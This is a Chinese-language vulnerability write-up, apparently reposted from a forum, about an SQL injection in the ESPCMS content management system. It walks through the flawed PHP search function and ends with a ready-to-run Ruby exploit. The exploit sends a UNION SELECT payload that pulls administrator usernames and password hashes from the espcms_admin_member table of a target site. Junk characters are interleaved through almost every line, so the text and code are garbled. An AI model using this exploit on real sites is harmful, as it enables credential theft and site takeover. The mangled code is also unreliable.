0×0 漏洞概述0×1 漏洞细节
( k9 L. d% D5 h4 Q/ o" X0×2 PoC! m$ B8 W( h/ w: @) J6 F7 [% K% P
& l' L7 c2 L/ B v; O9 h7 X
7 v% u" u( ^6 D; N' A1 N
( R/ e b& Z) q, p8 C0×0 漏洞概述. r8 O$ s& L8 B* c) C
0 K- E/ M5 @7 m5 w( I$ Y
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。8 k6 W) c, Z" A. y; c3 ~. \9 X. Z
其在处理传入的参数时考虑不严谨导致SQL注入发生( ^% L0 F0 z" l( |0 z$ t$ N2 U
, o6 H" M& R) Y$ F. j7 z2 D$ r) {) p
0×1 漏洞细节5 k# E" Q$ @( v6 V5 r6 u$ c
' Q9 L$ X. o* }2 A' U: s变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
* D6 b, A6 q0 e2 J/ F正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。, w8 n) I0 E. X" @! ?& D
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
1 `6 D# q' a$ l# g5 j. K
+ b+ F! ?, z% U: u; M0 t在/interface/3gwap_search.php文件的in_result函数中:
3 D& s5 Z- w( {
! X, F; n5 m: o8 w9 d$ O7 {; }+ l9 x/ [+ E. r& F) G
, }6 C \2 P5 t% V# k function in_result() {6 p+ Y4 `& G2 k( B$ X3 }* E
... ... ... ... ... ... ... ... ...# @+ W2 y5 J9 L3 \, l5 d& L" ?
$urlcode = $_SERVER[ 'QUERY_STRING '];! V: K+ b3 d. i9 f0 t( G
parse_str(html_entity_decode($urlcode), $output);4 o+ B3 L; Z8 g* Q$ w& J
4 U! y3 R( z% c8 o0 z+ k% Z
... ... ... ... ... ... ... ... ...5 I9 Z+ k H$ p: Y( K7 U3 s
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
' L/ U2 ]) o/ u3 x! J$ c _4 I% e+ k& o$ x
$db_table = db_prefix . 'model_att';
' ^" ?& b% p( K( P0 o6 i p2 _0 w, ]/ v1 T' |1 F3 B
foreach ($output['attr' ] as $key => $value) {
) K- |; M' g7 U# |# N/ H# J% ] if ($value) {
% A! P' k" i, @! {' a" f. h. C/ q ] P9 D$ M: i
$key = addslashes($key);4 ^: P3 ]" r t; V% f
$key = $this-> fun->inputcodetrim($key);& c1 o3 k8 w6 c& _
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
f+ j- y3 J2 z $countnum = $this->db_numrows($db_table, $db_att_where);" A6 ?* L" H: ^, p) |8 v
if ($countnum > 0) {
4 o0 ]0 ], ]: Z7 J( \) J $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;$ d5 O* f5 o0 W% G9 f/ j) [
}
8 c8 |# i' u# ?( ~" r" F, i' A }% c5 c' m/ _; |+ M! p$ ?5 K% k+ [" M
}
3 f' A0 ?0 h9 f3 L: O* c0 @ }
9 N4 T( J. y% ~9 r; _8 ]$ H if (!empty ($keyword) && empty($keyname)) {0 j6 Y, I7 q7 m
$keyname = 'title';4 D4 c+ ? n' i) e* \
$db_where.= " AND a.title like '%$keyword%'" ;
5 a4 }7 r5 F) c, H# Z( q } elseif (!empty ($keyword) && !empty($keyname)) {" @1 u. D+ b S+ H4 h2 P
$db_where.= " AND $keyname like '% $keyword%'";4 I* S* x! Z; m q
}7 c7 w9 B4 J( }+ h) @+ Q
$pagemax = 15;
5 F( @# I4 L/ J/ ^4 ^5 F# Z, b, a# @4 w( S
$pagesylte = 1;% d" n# R" k3 I9 U$ V! q
3 [% e' j# P& p6 ]) C5 `$ f
if ($countnum > 0) {
2 `2 s5 t; O6 K3 | X/ p' W
7 f |# q0 X) |$ s& ~3 \$ F6 f $numpage = ceil($countnum / $pagemax);+ {/ e+ _ Q# r' e! D
} else {. S% Z9 f! ~% q8 R
$numpage = 1;7 f! {! {2 r0 c' c
}
4 P5 g5 o/ Z; j i/ l+ \ $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;2 i* |, {0 r3 F/ E7 z
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);9 [5 q% d$ T: Q H/ R
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);5 s0 |! v7 b! ?% ^ k1 G, Z7 z7 B# S
... ... ... ... ... ... ... ... ...- e6 k7 o' j7 j0 [; U9 K
}
0 Q' N1 O2 c, i4 d
! D* ~9 i9 v2 P0 x6 ]6 p. i* T. ^# h5 m- |
0×2 PoC$ p' n9 I, q6 u; Y
0 Y3 `' V/ z# ?2 r
6 [/ f3 B% ?- ]+ a
# C4 z3 K+ ~( w' Z' t
require "net/http"
. m3 G, [# q$ E/ G" j/ \& U8 }$ N; ?
4 [, T% l2 m! Z9 {+ v7 H- @7 y* W6 Ydef request(method, url)9 E% i* k8 \5 z. ~; G, U
if method.eql?("get")
m8 [$ }0 e! N+ e& n G+ q& H uri = URI.parse(url)
$ H" f# x/ Z/ b8 {6 A2 s2 h' ?9 ?1 u http = Net::HTTP.new(uri.host, uri.port)* `1 ~6 u1 a( Y' ?4 Z2 ^: U
response = http.request(Net::HTTP::Get.new(uri.request_uri))
8 h, V) Z- G4 h return response4 b4 v4 m5 G- p! h% J+ ^
end* f3 U0 R2 V3 T5 u
end3 i0 b3 b6 r( t+ V8 P
, ]0 _/ x' o; W/ Idoc =<<HERE: w. }+ B' l1 A" D; {& B6 S
-------------------------------------------------------
) _% h C1 ]$ c0 t7 Q3 i2 ^: YEspcms Injection Exploit4 G& u3 h$ ~' z4 J) t3 u
Author:ztz) a [" @6 t* w* B
Blog:http://ztz.fuzzexp.org/7 F# ^; Q* V0 Q0 N' O9 B
-------------------------------------------------------1 |1 y9 [( I( ^$ n
5 e3 k7 J, h) n$ DHERE& U( z( @( l k
8 F; O6 p _0 eusage =<<HERE
6 N) _/ r s2 Y5 WUsage: ruby #{$0} host port path
) A7 @2 T* q/ o) r6 i" k' oexample: ruby #{$0} www.target.com 80 /
A6 R" T N& x% ?2 o# fHERE/ O, a- g, V P/ i3 c
# E6 w; d% Y# ]' {
puts doc$ U3 b. @6 m6 Q4 @( J
if ARGV.length < 31 v" x; M% C7 P2 h9 ^# X
puts usage+ a/ h+ h5 b; Q& M$ w7 Z
else
, U' f) n# E; _$ c* Q4 h' W0 X5 f* x $host = ARGV[0]
! U- y* \$ K$ x, d $port = ARGV[1]
4 w% I4 V4 r% Y* e8 K $path = ARGV[2]0 `" P1 m4 X" h
! I/ i+ J+ }. r3 _ puts "send request..."- w l6 r# k( C# Q: ]9 N
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
9 p3 X; V4 b) _2 L/ W( y6 Zattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13; H' F, d+ \: a4 }& Y0 y6 r9 a/ J5 ]
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27& g. O) E! f$ b' j' M* X- f
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23") @0 O e5 t5 p4 N) n
response = request("get", url)' o- _* H, |8 o; j. ?
result = response.body.scan(/\w+&\w{32}/)
$ Q( j' A X* P" S. G puts result
& K8 f! J, u) v3 I; W" Cend C w3 i6 n# I0 Z) l( J6 z
$ P7 S; Z0 ?; ]( R4 l# H4 ]
|